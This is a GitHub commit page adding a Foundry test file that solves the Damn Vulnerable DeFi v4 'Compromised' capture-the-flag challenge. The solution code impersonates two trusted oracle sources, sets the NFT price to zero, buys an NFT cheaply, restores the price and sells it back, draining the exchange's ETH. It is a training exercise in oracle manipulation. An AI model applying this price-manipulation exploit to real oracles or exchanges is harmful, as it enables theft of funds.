-
Notifications
You must be signed in to change notification settings - Fork 115
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
203 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
117 changes: 117 additions & 0 deletions
117
Writeup/DeletedAccount/DamnVulnerableDeFi-07-Compromised.t.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,117 @@ | ||
| // SPDX-License-Identifier: MIT | ||
| // Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz) | ||
| pragma solidity =0.8.25; | ||
|
|
||
| import {Test, console} from "forge-std/Test.sol"; | ||
| import {VmSafe} from "forge-std/Vm.sol"; | ||
|
|
||
| import {TrustfulOracle} from "../../src/compromised/TrustfulOracle.sol"; | ||
| import {TrustfulOracleInitializer} from "../../src/compromised/TrustfulOracleInitializer.sol"; | ||
| import {Exchange} from "../../src/compromised/Exchange.sol"; | ||
| import {DamnValuableNFT} from "../../src/DamnValuableNFT.sol"; | ||
|
|
||
| contract CompromisedChallenge is Test { | ||
| address deployer = makeAddr("deployer"); | ||
| address player = makeAddr("player"); | ||
| address recovery = makeAddr("recovery"); | ||
|
|
||
| uint256 constant EXCHANGE_INITIAL_ETH_BALANCE = 999 ether; | ||
| uint256 constant INITIAL_NFT_PRICE = 999 ether; | ||
| uint256 constant PLAYER_INITIAL_ETH_BALANCE = 0.1 ether; | ||
| uint256 constant TRUSTED_SOURCE_INITIAL_ETH_BALANCE = 2 ether; | ||
|
|
||
|
|
||
| address[] sources = [ | ||
| 0x188Ea627E3531Db590e6f1D71ED83628d1933088, | ||
| 0xA417D473c40a4d42BAd35f147c21eEa7973539D8, | ||
| 0xab3600bF153A316dE44827e2473056d56B774a40 | ||
| ]; | ||
| string[] symbols = ["DVNFT", "DVNFT", "DVNFT"]; | ||
| uint256[] prices = [INITIAL_NFT_PRICE, INITIAL_NFT_PRICE, INITIAL_NFT_PRICE]; | ||
|
|
||
| TrustfulOracle oracle; | ||
| Exchange exchange; | ||
| DamnValuableNFT nft; | ||
|
|
||
| modifier checkSolved() { | ||
| _; | ||
| _isSolved(); | ||
| } | ||
|
|
||
| function setUp() public { | ||
| startHoax(deployer); | ||
|
|
||
| // Initialize balance of the trusted source addresses | ||
| for (uint256 i = 0; i < sources.length; i++) { | ||
| vm.deal(sources[i], TRUSTED_SOURCE_INITIAL_ETH_BALANCE); | ||
| } | ||
|
|
||
| // Player starts with limited balance | ||
| vm.deal(player, PLAYER_INITIAL_ETH_BALANCE); | ||
|
|
||
| // Deploy the oracle and setup the trusted sources with initial prices | ||
| oracle = (new TrustfulOracleInitializer(sources, symbols, prices)).oracle(); | ||
|
|
||
| // Deploy the exchange and get an instance to the associated ERC721 token | ||
| exchange = new Exchange{value: EXCHANGE_INITIAL_ETH_BALANCE}(address(oracle)); | ||
| nft = exchange.token(); | ||
|
|
||
| vm.stopPrank(); | ||
| } | ||
|
|
||
| /** | ||
| * CODE YOUR SOLUTION HERE | ||
| */ | ||
| function test_assertInitialState() public view { | ||
| for (uint256 i = 0; i < sources.length; i++) { | ||
| assertEq(sources[i].balance, TRUSTED_SOURCE_INITIAL_ETH_BALANCE); | ||
| } | ||
| assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE); | ||
| assertEq(nft.owner(), address(0)); // ownership renounced | ||
| assertEq(nft.rolesOf(address(exchange)), nft.MINTER_ROLE()); | ||
| } | ||
|
|
||
| /** | ||
| * CODE YOUR SOLUTION HERE | ||
| */ | ||
| function test_compromised() public checkSolved { | ||
|
|
||
| vm.prank(0x188Ea627E3531Db590e6f1D71ED83628d1933088); | ||
| oracle.postPrice("DVNFT", 0); | ||
|
|
||
| vm.prank(0xA417D473c40a4d42BAd35f147c21eEa7973539D8); | ||
| oracle.postPrice("DVNFT", 0); | ||
|
|
||
| vm.prank(player); | ||
| exchange.buyOne{value: 1}(); | ||
|
|
||
|
|
||
| vm.prank(0x188Ea627E3531Db590e6f1D71ED83628d1933088); | ||
| oracle.postPrice("DVNFT", INITIAL_NFT_PRICE); | ||
|
|
||
| vm.prank(0xA417D473c40a4d42BAd35f147c21eEa7973539D8); | ||
| oracle.postPrice("DVNFT", INITIAL_NFT_PRICE); | ||
|
|
||
| vm.startPrank(player); | ||
| nft.approve(address(exchange), 0); | ||
| exchange.sellOne(0); | ||
| payable(recovery).transfer(EXCHANGE_INITIAL_ETH_BALANCE); | ||
| } | ||
|
|
||
| /** | ||
| * CHECKS SUCCESS CONDITIONS - DO NOT TOUCH | ||
| */ | ||
| function _isSolved() private view { | ||
| // Exchange doesn't have ETH anymore | ||
| assertEq(address(exchange).balance, 0); | ||
|
|
||
| // ETH was deposited into the recovery account | ||
| assertEq(recovery.balance, EXCHANGE_INITIAL_ETH_BALANCE); | ||
|
|
||
| // Player must not own any NFT | ||
| assertEq(nft.balanceOf(player), 0); | ||
|
|
||
| // NFT price didn't change | ||
| assertEq(oracle.getMedianPrice("DVNFT"), INITIAL_NFT_PRICE); | ||
| } | ||
| } |